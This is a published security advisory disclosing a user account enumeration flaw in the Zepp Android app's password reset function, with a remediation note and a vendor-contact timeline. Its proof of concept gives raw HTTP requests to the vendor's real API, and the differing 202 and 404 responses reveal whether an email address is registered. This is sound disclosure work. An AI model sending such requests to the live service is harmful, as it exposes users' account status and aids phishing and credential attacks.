# Trovent Security Advisory 2108-02 #
#####################################


User account enumeration in password reset function
############################################# # Trovent Security Advisory 2108-02 #
#####################################


User account enumeration in password reset function
###################################################


Overview
########

Advisory ID: TRSA-2108-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2108-02
Affected product: Zepp Android mobile application (com.huami.watch.hmwatchmanager)
Tested versions: Zepp 6.1.4-play
Vendor: Huami Inc., https://www.zepp.com
Credits: Trovent Security GmbH, Karima Hebbal


Detailed description
####################

Zepp is a mobile application to collect health information from Zepp or Amazfit
devices.
Trovent Security GmbH discovered a user account enumeration vulnerability in
the password reset function of the Zepp mobile application.
This vulnerability allows to check if a user with a specific email address is
registered or not.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE ID: CWE-204
CVE ID: N/A


Proof of concept
################

Sample HTTP request sent with a registered email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DELETE /registrations/ptesttest33%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2
Host: api-user.huami.com
App_name: com.huami.midong
Accept-Language: en-US
X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Accept-Encoding: gzip, deflate
Content-Length: 0

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The server response to a valid email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HTTP/2 202 Accepted
Date: Mon, 30 Aug 2021 12:38:52 GMT
Content-Type: application/json
Content-Length: 39
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers

"HuaMi Oauth / User Registration 2.0.2"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Sample HTTP request sent with a non-registered email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DELETE /registrations/false%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2
Host: api-user.huami.com
App_name: com.huami.midong
Accept-Language: en-US
X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Accept-Encoding: gzip, deflate
Content-Length: 0

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The server response to an invalid email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HTTP/2 404 Not Found
Date: Mon, 30 Aug 2021 12:40:08 GMT
Content-Type: application/json
Content-Length: 39
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers

"HuaMi Oauth / User Registration 2.0.2"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

Ensure the application returns a consistent message for both existent and
non-existent accounts during the password reset process.


History
#######

2021-08-30: Vulnerability found & advisory created
2021-09-24: Vendor contacted
2021-10-25: Vendor contacted again
2021-11-18: Vendor contacted again
2022-04-27: No reaction from vendor, advisory published